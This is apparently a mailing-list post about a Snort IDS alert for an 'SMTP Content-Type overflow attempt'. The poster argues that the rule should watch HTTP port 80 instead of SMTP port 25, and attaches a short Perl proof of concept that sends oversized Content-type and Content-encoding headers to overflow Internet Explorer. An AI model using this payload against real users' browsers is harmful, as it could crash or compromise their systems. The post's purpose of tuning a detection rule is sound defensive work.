I've seen the following alert triggered
[**] [1:3461:2] SMTP Content-Type overflow attempt [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 1]
09/25-11:11:06.816693 x.y.z.1:35499 -> 192.168.1.10:25

Yet the Microsoft fix is for Internet Explorer, yet the signature looks for traffic on port TCP / 25.
I think the signature should look for this exploit on TCP port 80
Attached is the sample exploit, which would also only effect port 80..
!/usr/bin/perl

$LONG="A"x300;
print "Content-type: $LONG\r\n";
print "Content-encoding: $LONG\r\n";
print "\r\n";
